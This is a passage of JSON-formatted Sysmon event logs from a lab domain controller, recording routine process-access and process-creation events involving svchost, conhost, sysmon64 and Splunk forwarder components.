C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3847,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.640\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4085-5F2D-0000-0010768D0500}\r\nTargetProcessId: 4160\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.640","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4085-5F2D-0000-0010768D0500}","TargetProcessId":"4160","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3848,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nProcessGuid: {90617006-4086-5F2D-0000-0010818F0500}\r\nProcessId: 1944\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Performance monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-perfmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=1F3027C93882E5D5A667B84CCEF3ED67,SHA256=504CDB3742BCBF617C837270CCEC0243205B7BF0A6AB5117EFB838DD2F004AAC,IMPHASH=53D37CD53647C5D82FCFA9E6970E154E\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","ProcessGuid":"{90617006-4086-5F2D-0000-0010818F0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe","FileVersion":"8.0.2","Description":"Performance monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-perfmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=1F3027C93882E5D5A667B84CCEF3ED67,SHA256=504CDB3742BCBF617C837270CCEC0243205B7BF0A6AB5117EFB838DD2F004AAC,IMPHASH=53D37CD53647C5D82FCFA9E6970E154E","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3849,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4086-5F2D-0000-0010818F0500}\r\nTargetProcessId: 1944\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4086-5F2D-0000-0010818F0500}","TargetProcessId":"1944","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3850,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4086-5F2D-0000-0010818F0500}\r\nTargetProcessId: 1944\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4086-5F2D-0000-0010818F0500}","TargetProcessId":"1944","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3851,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3852,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3853,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3854,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 